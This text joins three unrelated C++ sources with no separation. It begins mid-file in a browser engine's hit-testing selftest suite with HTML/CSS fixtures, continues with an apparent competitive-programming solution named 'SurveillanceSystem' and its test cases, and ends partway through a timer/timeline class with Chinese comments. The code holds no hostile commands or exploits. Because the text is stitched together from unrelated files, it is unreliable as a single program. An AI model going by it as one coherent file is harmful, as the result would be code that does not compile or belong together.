margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //! line-height:10px; //!} //! //!#first //!{ //! position:relative; //! width:20px; //! height:20px; //! background-color:yellow; //!} //! //!#overflow //!{ //! overflow:hidden; //! width:40px; //! height:20px; //!} //! //!span //!{ //! position:relative; //!} //! //!#outside_area //!{ //! left:10px; //! top:-9px; //!} //!</style> //!</head> //! //!<body> //!<div id="first"> //!</div> //!<div id="overflow"> //!<br> //!<span id="inside_area">X</span><br> //!<span id="outside_area">X</span> //!</div> //!</body> //!</html> } test("Positioned inlines with containing block calculated 7") require success "AHEM"; // Positioned inlines in the ScrollableContainer with changes scroll position. { verify(state.doc); HTML_Element* root = state.doc->GetDocRoot(); verify(root); HTML_Element* scr_elm = root->GetElmById(UNI_L("overflow")); verify(scr_elm); ScrollableArea* scrollable = scr_elm->GetLayoutBox() ? scr_elm->GetLayoutBox()->GetScrollable() : NULL; verify(scrollable); scrollable->SetViewY(LayoutCoord(10), FALSE); verify(PositionedInlinesWithContainingBlock(OpRect(0, 0, 20, 21), TRUE)); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //! vertical-align:bottom; //!} //! //!#first //!{ //! position:relative; //! width:20px; //! height:20px; //! background-color:yellow; //!} //! //!span { position:relative; } //! //!table { display:inline-table; } //! //!#outside_area //!{ //! left:20px; //!} //! //!#inside_area //!{ //! top:-11px; //!} //! //!</style> //!</head> //! //!<body> //!<table><tr><td> //!<div id="first"></div> //!</td></tr></table> //!<br> //!<span id="outside_area">X</span><br> //!<span id="inside_area">X</span> //!</body> //!</html> } test("Positioned inlines with containing block calculated 8") require success "AHEM"; // Switching to positioned inlines after "first" target being in a table. { verify(PositionedInlinesWithContainingBlock(OpRect(0, 0, 20, 20), TRUE)); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!#transform //!{ //! background-color:yellow; //! transform:translate(-30px,-41px); //!} //! //!span span //!{ //! position:relative; //! top:50px; //! left:30px; //!} //! //!</style> //!</head> //! //!<body> //!<span id="transform"><span id="first">X</span> <span id="second">X</span></span> //!</body> //!</html> } test("Positioned inlines inside transformed inline") require CSS_TRANSFORMS; require success "AHEM"; /* Reaching positioned inline boxes that are children of a transformed inline box. */ { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 30, 10)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("first") == TRUE); verify(hit_testing_obj.Exists("second") == TRUE); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!div //!{ //! position:absolute; //! width:10px; //! height:10px; //!} //! //!#first //!{ //! top:-30px; //! left:-21px; //! background-color:yellow; //!} //! //!#second //!{ //! top:-20px; //! left:-30px; //! background-color:lime; //!} //! //!span //!{ //! position:relative; //! z-index:1; //! top:30px; //! left:30px; //!} //! //!</style> //!</head> //! //!<body> //!<span>X<div id="first"></div><div id="second"></div></span> //!</body> //!</html> } test("Absolute positioned descendants of inline positioned z-root") require success "AHEM"; /* Having two absolute positioned descendants of an inline positioned box with z-index. One of them is intersecting the area, the other isn't. */ { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 10, 10)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("first") == TRUE); verify(hit_testing_obj.Exists("second") == FALSE); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!#first //!{ //! position:relative; //! width:20px; //! height:20px; //! background-color:yellow; //!} //! //!span, #skipped1 { position:relative; } //! //!#hit //!{ //! left:10px; //! top:-21px; //!} //! //!#skipped3 //!{ //! position:absolute; //! width:10px; //! height:10px; //! background-color:lime; //! top:30px; //! left:10px; //!} //! //!</style> //!</head> //! //!<body> //!<div id="first"> //!</div> //!<div> //!<div id="skipped1">X</div> //!<span id="skipped2">X</span> //!<div id="skipped3"></div> //!</div> //!<span id="hit">X</span> //!</body> //!</html> } test("Skipping z-elm targets, descendants of not entered block box") require success "AHEM"; /* Tests whether we correctly skip all the Z elements that are descendants of a block box that failed the intersection check and do not try to reach them again from the stacking context. */ { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 20, 20)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("first") == TRUE); verify(hit_testing_obj.Exists("skipped1") == FALSE); verify(hit_testing_obj.Exists("skipped2") == FALSE); verify(hit_testing_obj.Exists("skipped3") == FALSE); verify(hit_testing_obj.Exists("hit") == TRUE); verify(hit_testing_obj.GetTraversePositionedElementCallCount() == 1); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!#first //!{ //! position:relative; //! width:20px; //! height:20px; //! background-color:yellow; //!} //! //!span, #skipped1 { position:relative; } //! //!#hit //!{ //! left:10px; //! top:-30px; //!} //! //!#skipped3 //!{ //! position:relative; //! width:10px; //! height:10px; //! background-color:lime; //!} //! //!</style> //!</head> //! //!<body> //!<div id="first"> //!</div> //!<table> //! <tr> //! <td>X</td> //! </tr> //! <tr> //! <td> //! <div id="skipped1">X</div> //! <span id="skipped2">X</span> //! </td> //! <td id="skipped3"> //! </td> //! </tr> //!</table> //!<span id="hit">X</span> //!</body> //!</html> } test("Skipping z-elm targets, descendants of not entered table row") require success "AHEM"; /* Tests whether we correctly skip all the Z elements that are descendants of a table row that failed the intersection check and do not try to reach them again from the stacking context. */ { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 20, 21)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("first") == TRUE); verify(hit_testing_obj.Exists("skipped1") == FALSE); verify(hit_testing_obj.Exists("skipped2") == FALSE); verify(hit_testing_obj.Exists("skipped3") == FALSE); verify(hit_testing_obj.Exists("hit") == TRUE); verify(hit_testing_obj.GetTraversePositionedElementCallCount() == 1); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!body > div //!{ //! overflow:hidden; //! width:20px; //! height:20px; //! background-color:yellow; //!} //! //!#relative //!{ //! position:relative; //! width:21px; //! height:10px; //! background-color:black; //!} //! //!#absolute //!{ //! position:absolute; //! width:20px; //! height:20px; //! top:0px; //! left:20px; //! background-color:lime; //!} //! //!</style> //!</head> //! //!<body> //!<div> //!<div id="relative"></div> //!<div id="absolute"></div> //!</div> //!</body> //!</html> } test("Elements with different clip stack 1") /* Shouldn't reach the relative one, because of the clip rect, but should reach the absolute one, because the clip rect of the parent div doesn't apply. */ { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(20, 0, 20, 20)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("relative") == FALSE); verify(hit_testing_obj.Exists("absolute") == TRUE); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!body > div //!{ //! overflow:hidden; //! width:20px; //! height:20px; //! background-color:yellow; //!} //! //!#relative //!{ //! position:relative; //! top:20px; //!} //! //!div > div //!{ //! display:inline-block; //!} //! //!#absolute //!{ //! position:absolute; //! display:block; //! width:20px; //! height:20px; //! top:0px; //! left:20px; //! background-color:lime; //!} //! //!</style> //!</head> //! //!<body> //!<div> //!<div id="absolute"></div> //!<div><span id="relative">X</span></div> //!</div> //!</body> //!</html> } test("Elements with different clip stack 2") require success "AHEM"; /* Should reach the absolute positioned div, but then shouldn't reach the relative one (which is a descendant of an inline block), because of the clip rect from div with overflow:hidden. If the ancestor of the relative span had display:block, we would get a false positive and reach the span, despite being totally clipped. That is because AreaTraversalObject::TraversePositionedElement doesn't take any clip rects, that will be pushed later, into account. Having display:inline-block on the ancestor however, makes the method to result with the need of intersections check on the traverse path. */ { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 21, 30)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("absolute") == TRUE); verify(hit_testing_obj.Exists("relative") == FALSE); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!div, span, td { position:relative; } //! //!#inl_block { display:inline-block; } //!#float { float:left; } //! //!#table_cell //!{ //! top:-10px; //! left:10px; //!} //! //!</style> //!</head> //! //!<body> //!<div id="float"><span id="descendant1">X</span></div> //!<div id="inl_block"><span id="descendant2">X</span></div> //!<div id="block"><span id="descendant3">X</span></div> //!<table><tr><td id="table_cell"><span id="descendant4">X</span></td></tr></table> //!</body> //!</html> } test("Quick target switch to a descendant") require success "AHEM"; /* Tests whether the quick target switch optimization works correctly when switching to the Z Element that is a descendant of the previous one. We've got four cases covered in this ST. */ { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 20, 20)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("float") == TRUE); verify(hit_testing_obj.Exists("inl_block") == TRUE); verify(hit_testing_obj.Exists("block") == TRUE); verify(hit_testing_obj.Exists("table_cell") == TRUE); verify(hit_testing_obj.Exists("descendant1") == TRUE); verify(hit_testing_obj.Exists("descendant2") == TRUE); verify(hit_testing_obj.Exists("descendant3") == TRUE); verify(hit_testing_obj.Exists("descendant4") == TRUE); verify(hit_testing_obj.GetTraversePositionedElementCallCount() == 1); } /* For the three following selftests, in which it is not possible to calculate the offset to the target being on a stacking context, but the target is outside of the area and that fact turns out later. */ subtest TraversePositionedElementTest() { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 10, 10)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("not_hit") == FALSE); verify(hit_testing_obj.GetTraversePositionedElementCallCount() == 1); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!span //!{ //! position:relative; //! left:10px; //!} //! //!body > div { display:inline-block; } //! //!</style> //!</head> //! //!<body> //!<div> //!<span id="not_hit">X</span> //!</div> //!</body> //!</html> } test("Not reaching a positioned element out of area 1") require success "AHEM"; // A child of an inline block. { verify(TraversePositionedElementTest()); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!div > div //!{ //! transform:translate(20px,20px) rotate(30deg); //! transform-origin:top left; //!} //! //!body > div { margin-left:10px; } //! //!</style> //!</head> //! //!<body> //!<div> //!<div id="not_hit">X</div> //!</div> //!</body> //!</html> } test("Not reaching a positioned element out of area 2") require success "AHEM"; require CSS_TRANSFORMS; // A transformed block box. { verify(TraversePositionedElementTest()); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!span { opacity:0.9; } //! //!div { margin-left:10px; } //! //!</style> //!</head> //! //!<body> //!<div><span id="not_hit">X</span></div> //!</body> //!</html> } test("Not reaching a positioned element out of area 3") require success "AHEM"; // z root, but not positioned inline. { verify(TraversePositionedElementTest()); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!#first //!{ //! position:relative; //! background-color:yellow; //! width:20px; //! height:20px; //!} //! //!#fixed //!{ //! position:fixed; //! left:19px; //! top:0px; //! width:20px; //! height:20px; //! background-color:lime; //!} //!</style> //!</head> //! //!<body> //!<div id="first"> //!</div> //!<div> //!<div id="fixed"></div> //!</div> //!</body> //!</html> } test("Reaching fixed positioned element after quick target switch") { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 20, 20)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("first") == TRUE); verify(hit_testing_obj.Exists("fixed") == TRUE); verify(hit_testing_obj.GetTraversePositionedElementCallCount() == 1); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!#first //!{ //! position:relative; //! background-color:yellow; //! width:20px; //! height:20px; //!} //! //!#fixed //!{ //! position:fixed; //! left:19px; //! top:0px; //! background-color:lime; //! width:20px; //! height:20px; //!} //! //!span { position:relative; } //! //!</style> //!</head> //! //!<body> //!<div id="first"> //!</div> //!<div> //!<span id="skipped">X</span> //!<div id="fixed"></div> //!</div> //!</body> //!</html> } test("Reaching fixed positioned element after skipping a subtree") require success "AHEM"; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 20, 20)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("first") == TRUE); verify(hit_testing_obj.Exists("fixed") == TRUE); verify(hit_testing_obj.Exists("skipped") == FALSE); verify(hit_testing_obj.GetTraversePositionedElementCallCount() == 1); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //!} //! //!div { width:20px; height:20px; } //! //!#relative //!{ //! position:relative; //! background-color:yellow; //!} //! //!#fixed //!{ //! position:fixed; //! left:0px; //! top:0px; //! width:20px; //! height:20px; //!} //!</style> //!</head> //! //!<body> //!<div id="fixed"> //! <div id="relative"></div> //!</div> //!</body> //!</html> } test("Reaching relative positioned descendant of fixed positioned") // Also checks whether quick target switch optimization works. { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 20, 20)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("fixed") == TRUE); verify(hit_testing_obj.Exists("relative") == TRUE); verify(hit_testing_obj.GetTraversePositionedElementCallCount() == 1); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //!} //! //!#overflow {overflow:hidden; } //! //!div div div, #overflow { width:20px; height:20px; } //! //!#relative //!{ //! position:relative; //! background-color:yellow; //!} //! //!#absolute //!{ //! position:absolute; //! background-color:lime; //! top:20px; //! left:0px; //!} //! //!#fixed //!{ //! position:fixed; //! left:0px; //! top:0px; //!} //!</style> //!</head> //! //!<body> //!<div id="fixed"> //! <div id="overflow"> //! <div id="absolute"></div> //! <div id="relative"></div> //! </div> //!</div> //!</body> //!</html> } test("Reaching relative pos descendant of fixed (clipping involved)") /* Tests whether we reach the relative div, which is a descendant of a fixed positioned element and also the div shares the parent that introduces a clip rect with the absolute positioned element (this one is outside the area). Currently we can't quickly switch the target after finishing the 'absolute' one traverse, because of the different clipping stack. */ { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 20, 20)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("fixed") == TRUE); verify(hit_testing_obj.Exists("absolute") == FALSE); verify(hit_testing_obj.Exists("relative") == TRUE); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!#first //!{ //! position:absolute; //! width:20px; //! height:30px; //! background-color:yellow; //!} //! //!div.multicol //!{ //! column-count:2; //! column-gap:0; //! width:40px; //! height:40px; //! margin-left:20px; //!} //! //!#inside_multicol_static //!{ //! width:20px; //! height:30px; //! background-color:blue; //!} //! //!#inside_multicol_positioned //!{ //! position:relative; //! background-color:lime; //! width:20px; //! height:20px; //!} //! //!</style> //!</head> //! //!<body> //! <div id="first"> //! </div> //! <div class="multicol"> //! XX XX XX //! <div id="inside_multicol_static"> //! <div id="inside_multicol_positioned"></div> //! </div> //! XX XX //! </div> //!</body> //!</html> } test("Not reaching a positioned block in multicol") require success "AHEM"; /* Tests not only that we don't reach a positioned block inside a multicol, but also that we don't reach its static positioned parent (inside a multicol too). The area is not intersecting the static positioned one and that should be reflected in the way of traversing this doc. */ { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 20, 60, 10)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("first") == TRUE); verify(hit_testing_obj.Exists("inside_multicol_static") == FALSE); verify(hit_testing_obj.Exists("inside_multicol_positioned") == FALSE); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!#first //!{ //! position:relative; //! width:20px; //! height:20px; //! background-color:yellow; //!} //! //!div.multicol //!{ //! column-count:3; //! column-gap:0; //! width:60px; //! height:20px; //!} //! //!#pos_inl_inside_multicol //!{ //! position:relative; //! color:lime; //!} //! //!</style> //!</head> //! //!<body> //! <div id="first"> //! </div> //! <div class="multicol"> //! XX XX XX <span id="pos_inl_inside_multicol">XX XX</span> XX //! </div> //!</body> //!</html> } test("Reaching a positioned inline that is in more than one column") require success "AHEM"; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 60, 21)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("first") == TRUE); verify(hit_testing_obj.Exists("pos_inl_inside_multicol") == TRUE); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!div, .positioned //!{ //! position:relative; //!} //! //!</style> //!</head> //! //!<body> //!<table> //! <tbody> //! <tr> //! <td> //! <div id="in_first_row">X</div> //! </td> //! </tr> //! </tbody> //! <tbody> //! <tr> //! <td> //! <div id="in_second_row">X</div> //! </td> //! </tr> //! <tr class="positioned" id="positioned_row"> //! <td class="positioned" id="positioned_cell1">X</td> //! </tr> //! <tr> //! <td class="positioned" id="positioned_cell2">X</td> //! </tr> //! </tbody> //!</table> //!</body> //!</html> } test("Reaching positioned targets inside same table") require success "AHEM"; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 10, 40)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("in_first_row") == TRUE); verify(hit_testing_obj.Exists("in_second_row") == TRUE); verify(hit_testing_obj.Exists("positioned_row") == TRUE); verify(hit_testing_obj.Exists("positioned_cell1") == TRUE); verify(hit_testing_obj.Exists("positioned_cell2") == TRUE); verify(hit_testing_obj.GetTraversePositionedElementCallCount() == 1); } // END: The subgroup of selftests introduced from CORE-45142
#include <vector> #include <string> #include <iostream> #include <fstream> #include <sstream> #include <list> #include <algorithm> #include <sstream> #include <set> #include <cmath> #include <map> #include <stack> #include <queue> #include <cstdio> #include <cstdlib> #include <cstring> #include <numeric> #include <bitset> #include <deque> const long long LINF = (1e15); const int INF = (1<<27); #define EPS 1e-6 const int MOD = 1000000007; using namespace std; class SurveillanceSystem { public: int calc(string &c, int p, int L) { int res = 0; while (L > 0) { if (c[p++] == 'X') { ++res; } --L; } return res; } void plus(vector<string> &c, string &ans) { int N = (int)ans.size(); int M = (int)c.size(); for (int j=0; j<M; ++j) { for (int i=0; i<N; ++i) { if (c[j][i] == '+') { ans[i] = '+'; } } } } char get(vector<string> &c, int i, int n) { int M = (int)c.size(); int threshold = M - n; int cnt = 0; for (int j=0; j<M; ++j) { if (c[j][i] == '+') { ++cnt; } } return cnt > threshold ? '+' : cnt == 0 ? '-' : '?'; } char comp(char lhs, char rhs) { if (lhs == '+' || rhs == '+') { return '+'; } else if (lhs == '?' || rhs == '?') { return '?'; } return '-'; } void question(vector<string> &c, string &ans, int n) { int N = (int)ans.size(); for (int i=0; i<N; ++i) if (ans[i] != '+') { ans[i] = comp(ans[i], get(c, i, n)); } } string getContainerInfo(string containers, vector <int> reports, int L) { int N = (int)containers.size(); vector<vector<string> > con(N+1); for (int i=0; i<=N-L; ++i) { string res = string(N,'-'); for (int j=0; j<L; ++j) { res[i+j] = '+'; } int c = calc(containers, i, L); con[c].push_back(res); } int M = (int)reports.size(); vector<int> cnt(N+1,0); for (int i=0; i<M; ++i) { cnt[reports[i]]++; } string ans = string(N,'-'); for (int i=0; i<=N; ++i) if (cnt[i] != 0) { if (cnt[i] == con[i].size()) { plus(con[i], ans); } else { question(con[i], ans, cnt[i]); } } return ans; } // BEGIN CUT HERE public: void run_test(int Case) { if ((Case == -1) || (Case == 0)) test_case_0(); if ((Case == -1) || (Case == 1)) test_case_1(); if ((Case == -1) || (Case == 2)) test_case_2(); if ((Case == -1) || (Case == 3)) test_case_3(); if ((Case == -1) || (Case == 4)) test_case_4(); } private: template <typename T> string print_array(const vector<T> &V) { ostringstream os; os << "{ "; for (typename vector<T>::const_iterator iter = V.begin(); iter != V.end(); ++iter) os << '\"' << *iter << "\","; os << " }"; return os.str(); } void verify_case(int Case, const string &Expected, const string &Received) { cerr << "Test Case #" << Case << "..."; if (Expected == Received) cerr << "PASSED" << endl; else { cerr << "FAILED" << endl; cerr << "\tExpected: \"" << Expected << '\"' << endl; cerr << "\tReceived: \"" << Received << '\"' << endl; } } void test_case_0() { string Arg0 = "-X--XX"; int Arr1[] = {1, 2}; vector <int> Arg1(Arr1, Arr1 + (sizeof(Arr1) / sizeof(Arr1[0]))); int Arg2 = 3; string Arg3 = "??++++"; verify_case(0, Arg3, getContainerInfo(Arg0, Arg1, Arg2)); } void test_case_1() { string Arg0 = "-XXXXX-"; int Arr1[] = {2}; vector <int> Arg1(Arr1, Arr1 + (sizeof(Arr1) / sizeof(Arr1[0]))); int Arg2 = 3; string Arg3 = "???-???"; verify_case(1, Arg3, getContainerInfo(Arg0, Arg1, Arg2)); } void test_case_2() { string Arg0 = "------X-XX-"; int Arr1[] = {3, 0, 2, 0}; vector <int> Arg1(Arr1, Arr1 + (sizeof(Arr1) / sizeof(Arr1[0]))); int Arg2 = 5; string Arg3 = "++++++++++?"; verify_case(2, Arg3, getContainerInfo(Arg0, Arg1, Arg2)); } void test_case_3() { string Arg0 = "-XXXXX---X--"; int Arr1[] = {2, 1, 0, 1}; vector <int> Arg1(Arr1, Arr1 + (sizeof(Arr1) / sizeof(Arr1[0]))); int Arg2 = 3; string Arg3 = "???-??++++??"; verify_case(3, Arg3, getContainerInfo(Arg0, Arg1, Arg2)); } void test_case_4() { string Arg0 = "-XX--X-XX-X-X--X---XX-X---XXXX-----X"; int Arr1[] = {3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3}; vector <int> Arg1(Arr1, Arr1 + (sizeof(Arr1) / sizeof(Arr1[0]))); int Arg2 = 7; string Arg3 = "???++++?++++++++++++++++++++??????--"; verify_case(4, Arg3, getContainerInfo(Arg0, Arg1, Arg2)); } // END CUT HERE }; // BEGIN CUT HERE int main() { SurveillanceSystem ___test; ___test.run_test(-1); } // END CUT HERE
#include "Timer.h" //--------------------------------------------------------------------------------------------------- iberbar::CTimeline::CTimeline( void ) : m_bStarted( false ) , m_bEnable( true ) , m_nScaleParam( 1.0f ) , m_timers() , m_timelines() { } //--------------------------------------------------------------------------------------------------- iberbar::CTimeline::~CTimeline() { m_timers.Clear(); m_timersTemp.Clear(); m_timelines.Clear(); m_timelinesTemp.Clear(); } //--------------------------------------------------------------------------------------------------- void iberbar::CTimeline::run( float nElapsedTime ) { if ( m_bStarted == false ) return; if ( m_bEnable == false ) return; float lc_nNewElapsedTime = nElapsedTime * m_nScaleParam; // // 把新增加的timer添加到更新队列中,然后清空新增队列 // if ( m_timersTemp.IsEmpty() == false ) { // 将Temp中的timer移动到正式队列中 TimerGroup::iterator lc_iter = m_timersTemp.begin(); TimerGroup::iterator lc_end = m_timersTemp.end(); for ( ; lc_iter != lc_end; lc_iter++ ) m_timers.push_back( *lc_iter ); // 清空Temp队列 m_timersTemp.Clear(); } // // 把Temp中的timeline添加到更新队列中,然后清空Temp队列 // if ( m_timelinesTemp.IsEmpty() == false ) { // 将Temp中的timeline移动到正式队列中 TimelineGroup::iterator lc_iter = m_timelinesTemp.begin(); TimelineGroup::iterator lc_end = m_timelinesTemp.end(); for ( ; lc_iter != lc_end; lc_iter++ ) m_timelines.push_back( *lc_iter ); // 清空Temp队列 m_timelinesTemp.Clear(); } // // 更新队列进行更新 // if ( m_timers.IsEmpty() == false ) { TimerGroup::iterator lc_node = m_timers.begin(); TimerGroup::iterator lc_end = m_timers.end(); Timer lc_timer( NULL ); for ( ; lc_node != lc_end; ) { lc_timer = ( *lc_node ); if ( lc_timer->IsEnable() == false ) { lc_timer->onDestroy(); lc_node = m_timers.erase( lc_node ); lc_end = m_timers.end(); } else { lc_timer->onRun( lc_nNewElapsedTime ); lc_node ++; } lc_timer = NULL; } } // // 更新子时间线 // if ( m_timelines.IsEmpty() == false ) { TimelineGroup::iterator lc_node = m_timelines.begin(); TimelineGroup::iterator lc_end = m_timelines.end(); Timeline lc_timeline( NULL ); for ( ; lc_node != lc_end; ) { lc_timeline = ( *lc_node ); if ( lc_timeline->IsEnable() == false ) { lc_node = m_timelines.erase( lc_node ); lc_end = m_timelines.end(); } else { lc_timeline->run( lc_nNewElapsedTime ); lc_node ++; } lc_timeline = NULL; } } } //--------------------------------------------------------------------------------------------------- iberbar::Timer iberbar::CTimeline::addTimer() { // 创建timer对象 Timer lc_timer = NULL; lc_timer.attach( new CTimer() ); // 将timer附属到该时间轴上 // 先加到Temp组中,等到run的时候将Temp中的timer移到更新队列中 m_timersTemp.push_back( lc_timer ); return lc_timer; } //--------------------------------------------------------------------------------------------------- iberbar::Timer iberbar::CTimeline::getTimer( const std::string& name ) { return nullptr; } //--------------------------------------------------------------------------------------------------- void iberbar::CTimeline::removeTimer( Timer timer ) { if ( timer ) { timer->pause(); timer->stop(); } } //--------------------------------------------------------------------------------------------------- iberbar::Timeline iberbar::CTimeline::addTimeline() { // 创建timeline对象 Timeline lc_timeline = NULL; lc_timeline.attach( new CTimeline() ); // 将timeline附属到该时间轴上 // 先加到Temp组中,等到run的时候将Temp中的timeline移到更新队列中 m_timelinesTemp.push_back( lc_timeline ); return lc_timeline; } //--------------------------------------------------------------------------------------------------- iberbar::CTimer::CTimer( void ) : m_fTimeout( 0.0f ) , m_fCountdown( 0.0f ) , m_bEnabled( false ) , m_bLoop( false ) , m_bPause( true ) , m_pTimerHandler( NULL ) , m_pTimerFunc( NULL ) , m_bEnableScale( false ) , m_nScale( 1.0f ) { } 